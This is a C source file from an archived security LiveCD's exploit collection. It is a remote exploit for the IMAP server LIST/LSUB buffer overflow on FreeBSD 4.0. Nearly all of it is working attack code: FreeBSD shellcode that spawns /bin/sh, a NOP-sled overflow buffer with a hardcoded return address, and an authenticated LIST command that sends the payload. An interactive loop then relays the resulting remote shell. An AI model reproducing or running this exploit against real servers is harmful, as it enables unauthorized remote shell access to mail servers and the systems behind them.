home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / imaper.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  214 lines

  1. //
  2. //      imapd sploit
  3. //        [ list/lsub vulnerability ]
  4. //
  5. //      eggcode:
  6. //        freebsd
  7. //
  8. //      default valuez for target:
  9. //        freebsd4.0-rel + imap4rev1 2000.278
  10. //
  11. //      coder:
  12. //        p0kem0n / kidz team
  13. //      email:
  14. //        <p0kem0n@hotbox.ru>
  15. //
  16. //      comments:
  17. //        i am a lazy shit. so there isn't userfriendly
  18. //        command line i-face.
  19. //
  20. //      p.s.:   no errors checking
  21. //
  22. //      greetz to:
  23. //        all active members of [kidz team], dummYcube, mazz
  24. //
  25.  
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netinet/in.h>
  29. #include <netdb.h>
  30. #include <string.h>
  31.  
  32. #define IMAP_PORT       143
  33. #define FAT             512
  34. #define BUF_SIZE       1024
  35. #define LBUF            512
  36.  
  37. //#define DEBUG
  38.  
  39. #define LOGIN     "uza"        //      don't forget to modify
  40. #define PASSWORD  "lapassworde"
  41.  
  42. char alien_egg[] =             // idea of anathema. respect.
  43.   "\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
  44.   "\x51\x52\x53\x53\x6a\x3b\x58\xcd\x80\x66\x31\xc0\xcd\x80";
  45.  
  46. unsigned long body_addr = 0xbfbfeb68;   //      calibrate it for non default
  47.                                         //0xbfbfea4c - preauth mode
  48. void    alien_makeup(char* carrier, char* egg);
  49. int     arrive(char* hosty, int port);
  50. int     infect(int body, char* carrier);
  51. void    alien_work(int body);
  52.  
  53. int main(int argc, char** argv) {
  54.   char    carrier[4*LBUF];
  55.   int     payback;
  56.   int     body;
  57.  
  58.   printf(" [ %-11s ][ starting.... ]\n", argv[0]);
  59.   if(argc != 2)   {
  60.     printf("\t\t[ error in parameterz! ]\n");
  61.     printf("\t\t[ you must specify host ]\n");
  62.     exit(1);
  63.   }
  64.  
  65.   alien_makeup(carrier, alien_egg);
  66.   printf("\t\t[ alien maked ]\n");
  67.   printf("\t\t[ connect to %.32s.... ]\n", argv[1]);
  68.   body = arrive(argv[1], IMAP_PORT);
  69.   if(body < 0)    {
  70.     printf("\t\t\t[ failed! ]\n");
  71.     exit(1);
  72.   }
  73.   printf("\t\t\t[ successful ]\n");
  74.   if((payback = infect(body, carrier)) < 0)       {
  75.     printf("\t\t[ error sending carrier ]\n\t\t\t[ ");
  76.     switch(payback) {
  77.       case -1:
  78.         printf(" possibly connection error ]\n");
  79.         break;
  80.       case -2:
  81.         printf(" kid, there isn't such a bug! ]\n");
  82.         break;
  83.       case -3:
  84.         printf(" get correct password first! ]\n");
  85.     }
  86.     exit(1);
  87.   }
  88.   printf("\t\t[ INFECTED! ]\n");
  89.   printf("\t\t[ alien at work ]\n");
  90.   printf("\t\t\t[ begin ]\n");
  91.   alien_work(body);
  92.   printf("\t\t\t[ alien iz dead ]\n");
  93.   printf("\t\t[ end ]\n");
  94.   printf(" [ %-11s ][ session is over ]\n", argv[0]);
  95. }
  96.  
  97. void    alien_makeup(char* carrier, char* egg)  {
  98.   memset(carrier, 0x90, 4*LBUF);
  99.   strncpy(carrier+FAT, egg, strlen(egg));
  100.   *(unsigned long*)(carrier+BUF_SIZE+4) = body_addr+FAT;
  101.   *(unsigned long*)(carrier+BUF_SIZE+8) = 0x00000a0a;
  102.  
  103.   #ifdef DEBUG
  104.     printf(" [debug][ carrier: %s ]\n", carrier);
  105.     printf("\t[ carriersize: %hx ]\n", strlen(carrier));
  106.     printf("\t[ eggsize: %hx ]\n", strlen(egg));
  107.     printf("\t[ alien_addr: 0x%x ]\n",  *(unsigned long*)(carrier+BUF_SIZE+4));
  108.   #endif
  109. }
  110.  
  111. int arrive(char* hosty, int port)   {
  112.   struct sockaddr_in way;
  113.   struct hostent *hp, *gethostbyaddr();
  114.   int sock = socket(AF_INET, SOCK_STREAM, 0);
  115.   if(sock < 0)
  116.     return -1;
  117.   way.sin_port = htons(port);
  118.   way.sin_family = AF_INET;
  119.   hp = gethostbyname(hosty);
  120.   if(hp == NULL)  {
  121.     close(sock);
  122.     return -1;
  123.   }
  124.   memcpy( &way.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length);
  125.   if(connect(sock, (struct sockaddr*)&way, sizeof(way)) < 0)      {
  126.     close(sock);
  127.     return -1;
  128.   }
  129.   return sock;
  130. }
  131.  
  132. int     infect(int body, char* carrier) {
  133.   int     len;
  134.   char    buf[LBUF];
  135.  
  136.   memset(buf, 0, LBUF);
  137.   if(recv(body, buf, LBUF, 0) < 0)  {
  138.     close(body);
  139.     return -1;
  140.   }
  141.   #ifdef  DEBUG
  142.   printf(" // %s", buf);
  143.   #endif
  144.   sprintf(buf, "dead login "LOGIN" "PASSWORD"\n");
  145.  
  146.   len = strlen(buf);
  147.   if(send(body, buf, len, 0) < len)       {
  148.     close(body);
  149.     return -1;
  150.   }
  151.   memset(buf, 0, LBUF);
  152.   if(recv(body, buf, LBUF, 0) < 0)  {
  153.     close(body);
  154.     return -1;
  155.   }
  156.   #ifdef DEBUG
  157.   printf(" // %s", buf);
  158.   #endif
  159.   if(strncmp(buf+5, "OK", 2) != 0)  {
  160.     close(body);
  161.     return -3;
  162.   }
  163.   buf[0] = '\0';
  164.   sprintf(buf, "dead list \"\" {%d}\n", BUF_SIZE+8);
  165.  
  166.   len = strlen(buf);
  167.   if(send(body, buf, len, 0) < len)       {
  168.     close(body);
  169.     return -1;
  170.   }
  171.   len = strlen(carrier);
  172.   if(send(body, carrier, len, 0) < len)   {
  173.     close(body);
  174.     return -1;
  175.   }
  176.   memset(buf, 0, LBUF);
  177.   if(recv(body, buf, LBUF, 0) < 0)  {
  178.     close(body);
  179.     return -1;
  180.   }
  181.   #ifdef  DEBUG
  182.   printf(" // %s", buf);
  183.   #endif
  184.   if((strncmp(buf+5, "BAD", 3) == 0)||(strncmp(buf+5, "OK", 2) == 0))     {
  185.     close(body);
  186.     return -2;
  187.   }
  188.   return 1;
  189. }
  190.  
  191. void    alien_work(int body)    {
  192.   int     len;
  193.   char    buf[LBUF];
  194.   fd_set  fds;
  195.  
  196.   while (1) {
  197.     FD_SET(0, &fds);
  198.     FD_SET(body, &fds);
  199.     select(body+1, &fds, NULL, NULL, NULL);
  200.     if (FD_ISSET(0, &fds)) {
  201.       len = read (0, buf, LBUF);
  202.       if (len <= 0)
  203.         return;
  204.       write (body, buf, len);
  205.     }
  206.     if (FD_ISSET(body, &fds)) {
  207.       len = read (body, buf, LBUF);
  208.       if (len <= 0)
  209.         return;
  210.       write(1, buf, len);
  211.     }
  212.   }
  213. }
  214. /*                www.hack.co.za           [14 April 2001]*/